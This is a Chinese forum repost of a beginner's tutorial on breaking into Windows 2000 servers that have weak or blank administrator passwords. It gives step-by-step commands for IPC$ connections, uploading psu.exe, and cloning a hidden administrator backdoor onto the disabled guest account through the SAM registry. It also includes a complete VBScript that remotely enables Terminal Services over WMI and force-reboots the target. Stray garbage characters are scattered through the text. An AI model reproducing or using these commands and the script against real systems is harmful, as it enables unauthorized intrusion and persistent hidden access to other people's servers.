一次简单的3389入侵

firelinux

一次简单的3389入侵过程 原创：caozhe（草哲） / H/ a1 e$ r; _. G* J: {来源：中国欲网技术论坛--草哲 $ a/ i: _! {/ U& v+ X2 @ 我在网上看到很多很多教你如何如何入侵之类的文章，我觉得对于菜鸟来说根本是看不懂的！ 8 Y# K/ e6 o. K ( S2 x$ Y& Q$ c" R于是呢，我冒出个想法！想写篇简单点的，适合菜鸟的文章！把我学到的跟大家说一下~！ $ j, F% K* H! B8 d& q4 D7 c要入侵，我建议你在win2000环境下来*作！ ; \& |$ T/ f8 n; O7 x8 e : A) j, k, t5 P0 I& A+ F首先，要入侵，你得有工具！我向大家推荐几款软件，也是我一直用的东西！ 扫描的X-Scan V2.3、WINNTAutoAttack、流光！ X-Scan我最近很少用了，基本用的都是WINNTAutoAttack，当然，小榕的流光我也经常用！ 1 ` a9 T4 V4 b7 M# T远程开终端需要一个脚本就可以了，代码请看二楼！保存为*.vbe（我保存的是rots.vbe） 克隆帐户用个psu就可以了~！ 6 ?/ c8 W# ?8 \+ j, Q7 jOK，比如扫描到了一个有NT弱口令的服务器，IP地址是120.0.0.1，管理员帐户是administrator，密码为空 运行CMD（2000下的DOS），我们给它开终端！ 7 I1 Q' a- a( `命令如下！ cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr 上面的命令应该可以理解吧？cscript rots.vbe这是命令，后面的是IP，然后是管理员帐户，接这是密码，因为120.0.0.1这台服务器的管理员密码是空的，那就用双引号表示为空，再后面是端口，你可以任意设置终端的端口，/fr是重启命令（强制重启，一般我都用这个，你也可以/r，这是普通重启） 8 l+ c6 j2 \% m4 C" N6 O" _ + y" h( \4 P- w因为终端服务器只在win2000 server以上的版本（包括server）才有，PRO当然是不行的，此版本可以检测服务器的版本，如果是PRO的则提示你退出安装！ / }. A3 r6 a2 J+ u6 T: X# A* o + @; C' c) Y' k5 J- v5 @- U4 h( G一切顺利，过会就可以连接到终端了，我们可以ping它，看是否重启，ping 120.0.0.1 -t - N1 S3 @, q h6 Y; }2 h! F安装后用连接工具连接终端！现在我们克隆帐户，呵呵，为了给以后方便嘛！ " z% D% ?9 |+ L$ A+ w6 @回到DOS下！我们建立IPC$连接！ net use \\120.0.0.1\ipc$ "" /user:"administrator" 这个命令我想应该可以理解吧！命令完成后，我们把psu上传到目标机的winnt\system32目录下！ copy psu.exe \\120.0.0.1\admin$\system32 $ a4 A- y+ H# w' M' k. w7 \, t上传完毕后，开始在肉鸡做后门帐户！看肉鸡！ + I6 }7 c( f, `6 ~" J# N 1 @8 u/ @# m! j假设guest用户被禁用，我们就是要利用guest做后门帐户！ 在该服务器运行CMD，在命令行下输入 1 g5 ]/ F; k. Y3 `( ppsu -p regedit -i PID 这里解释一下，后面的PID是系统进程winlogon的值，我们在任务栏下点鼠标右键，看任务管理器！ . p+ X' J7 w2 b: c; ]2 ^看进程选项卡，找到winlogon的进程，后面的数值就是winlogon的pid值，假设是5458 那么，命令就是这样 psu -p regedit -i 5458 |+ T: g3 d% P4 w: L这样直接打开注册表，可以读取本地sam的信息。 打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 下面的就是本地的用户信息了！我们要做的是把禁用的guest克隆成管理员权限的帐户！ ( E: ^% o, _2 ]( \+ cHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 查看administrator的类型，是if4，再看guest的是if5 0 [6 R' k, r8 ]) Q) g/ u' y4 p好了，知道了类型后，打开 " P2 \ a9 g7 m( n% `# q' ]- V; _HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 + Q: R J- L' z" _' i6 I这个值，双击右侧的F，把里面乱七八糟的字符复制下来，然后打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 1 G7 \/ L+ @. W" L双击右侧的F，把刚复制的粘贴到里面！ 做好了以后，把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest ; }3 ?+ Q u7 h/ q这两个键值导出，导出后把那两个键值删除！然后再导入进来！关闭注册表。 S& A, s% w3 U' U& t4 H. s打开CMD，在命令行下输入 net user guest password # m# c; q0 X' Q* A, G这条命令是给guest设置密码，后面的password就是密码 4 J1 X9 J. L' n4 |: l D8 U然后输入 net user guest /active:y , U4 B" A/ C) W0 r; ]5 k这命令是激活guest帐户，然后我们把他禁用 , g9 T* j2 T& Y! {7 Lnet user guest /active:n 上面的三行命令必须在DOS下执行！ 3 O; b+ f! h+ m6 E0 k & _- i/ q( l% C6 vOK了，打开计算机管理，看用户，你们看，guest帐户还是被禁用的~！哈哈，但它已经拥有管理员权限了！ # D, J% M0 D2 o: x而且并不在管理员组里显示，还可以登陆终端，跟administrator帐户一样的！ 0 j" O! t X4 V1 @ y$ r- r % f. [$ `6 B& M5 d, Z' o注销一下，用guest登陆吧！ 2 W+ j! s4 n0 ]" K$ L * Z8 j' b0 J% g. |3 l打字都打累了~`！真不容易！呵呵~`希望上面的大家能看懂啊！ 如果还有地方不明白的话，可以问我，我知道的一定告诉大家！ 因为本人也是菜鸟级的，会了点东西就不知道怎么好了，呵呵~`！如果哪里有不对的，还请高手指点啊~！ ' n( {( Y x/ e. B/ }( P/ [" { ---------------------------------------------------------------------- / a' ?) v' b, | ]# Y3 Q! t以下是开终端的脚本，把它存为*.vbe / c$ P/ h% _, g6 ^7 zon error resume next set outstreem=wscript.stdout set instreem=wscript.stdin & B y* ~( ?& o' s! ]5 w# jif (lcase(right(wscript.fullname,11))="wscript.exe") then set objShell=wscript.createObject("wscript.shell") objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) m! R, u& x: o, m' ]3 Q# w wscript.quit end if if wscript.arguments.count<3 then 6 n( U- \' c/ E; ]6 \) A usage() 5 @4 s+ Y9 Y- s8 f7 e0 ~' e wscript.echo "Not enough parameters." 9 Z5 o8 P k. A6 I4 V wscript.quit end if - K1 ~) M k t ipaddress=wscript.arguments(0) + s, o/ r4 h" W) V9 W: eusername=wscript.arguments(1) password=wscript.arguments(2) if wscript.arguments.count>3 then # D8 l/ T& d2 _, j/ s port=wscript.arguments(3) else port=3389 K, S, v0 R! j! }end if 3 v- p5 ?- }1 T9 f$ I" E4 c1 Sif not isnumeric(port) or port<1 or port>65000 then wscript.echo "The number of port is error." " l" y) a0 n4 W# V+ P. q wscript.quit , v e6 y% _+ N0 i Z; r7 oend if * H4 r- j! E6 P2 cif wscript.arguments.count>4 then reboot=wscript.arguments(4) % `: ~4 n4 E0 S* O \9 \2 Belse ! p3 Z; {9 J3 u reboot="" end if usage() outstreem.write "Conneting "&ipaddress&" ...." set objlocator=createobject("wbemscripting.swbemlocator") set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password) showerror(err.number) objswbemservices.security_.privileges.add 23,true 4 F. B }" Z1 Aobjswbemservices.security_.privileges.add 18,true 6 ]( H0 x# L# v% coutstreem.write "Checking OS type...." set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem") ; l' K, R& B. E8 b3 Q3 ~$ Ffor each objinstoscaption in colinstoscaption if instr(objinstoscaption.caption,"Server")>0 then $ N% m5 I' U: D0 ]' J* M6 v/ @* \ wscript.echo "OK!" . }" U' E% Z8 @: q else : u) F: m- }. o wscript.echo "OS type is "&objinstoscaption.caption 1 @* v+ A* @; x outstreem.write "Do you want to cancel setup?[y/n]" , J! b) Y+ m, O" e- G; s+ e( c strcancel=instreem.readline if lcase(strcancel)<>"n" then wscript.quit - h: q* m5 B+ ~8 A end if next : o: }2 k- ^7 C" A' X K0 P outstreem.write "Writing into registry ...." ; u) _, K7 Q* R: i* P% zset objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov") HKLM=&h80000002 HKU=&h80000003 with objinstreg & \& ^3 E6 X& o( Z- [! S7 |.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache" .setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0 / f, ?, b) Q# T4 K/ k! \* }1 q.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer" 3 E3 c, \' C i$ z1 Z.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1 , S# }! E& O F: o4 c! F.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1 $ L2 @% I0 {1 L" }.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2 .setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1" .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port end with 2 z& w. \3 ?* w1 k: m. z4 xshowerror(err.number) 1 G8 F& a* m: [3 U" \9 ~+ T. F rebt=lcase(reboot) flag=0 if rebt="/r" or rebt="-r" or rebt="\r" then flag=2 if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6 ! G* N2 E% c1 C7 F- z6 b/ Tif flag<>0 then 4 |* ^6 s' a" t" f& ]# H# n/ x outstreem.write "Now, reboot target...." ' {2 b2 P9 h! C# e# K; x strwqlquery="select * from win32_operatingsystem where primary='true'" $ e# Q* F( e# V( E) P, D$ Q set colinstances=objswbemservices.execquery(strwqlquery) for each objinstance in colinstances objinstance.win32shutdown(flag) 9 j. }0 X8 p W6 g* d3 | next : e5 z/ R7 _! N showerror(err.number) else wscript.echo "You need to reboot target."&vbcrlf&"Then," end if $ F0 ^9 \1 M3 j6 a: fwscript.echo "You can logon terminal services on "&port&" later. Good luck!" * Q5 E* F* t# o* B4 |4 u9 \3 V function showerror(errornumber) if errornumber Then wscript.echo "Error 0x"&cstr(hex(err.number))&" ." 8 h: s( m2 C5 D; d/ w' o5 F if err.description <> "" then wscript.echo "Error description: "&err.description&"." , i, y0 x! a) `# R end if & }) v. Y9 x# I3 m) @! P$ r wscript.quit else 6 R/ D8 R& F4 o* {; U wscript.echo "OK!" . j O1 g" j- E4 w/ g- l* Dend if end function function usage() 7 h* w, I& O. Xwscript.echo string(79,"*") wscript.echo "ROTS v1.05" wscript.echo "Remote Open Terminal services Script, by 草哲" wscript.echo "Welcome to visite www.5458.net" . S- I) B% w* ~$ {; d/ Wwscript.echo "Usage:" wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]" wscript.echo "port: default number is 3389." ! |( e! O7 n& _: l5 d3 |3 Xwscript.echo "/r: auto reboot target." wscript.echo "/fr: auto force reboot target." 2 D$ r8 q' e5 h2 B' h0 K6 Cwscript.echo string(79,"*")&vbcrlf % T4 x$ j7 N& ~6 z2 J# i+ a9 Dend function - ~5 X K4 ]2 e5 g$ M$ L% Q转自安全焦点

这么好的东西好象没有人看,是不感兴趣吗?
还是什么的,看来我们工程学院还真有很多不错的角色哦!

不过你还是说得简单点吧,估计那样的话会有多一点的人看的

4 _* F! b: e2 I
* s( I5 G# ]' |# D) s! Z# ^4 R

[此贴子已经被作者于2003-3-24 21:15:45编辑过]

+ z9 ]) N8 W' `0 z/ J6 O

这个类似的我看多了，3389的漏洞好像都在一夜间成名，然后一夜间被人疯狂堵上。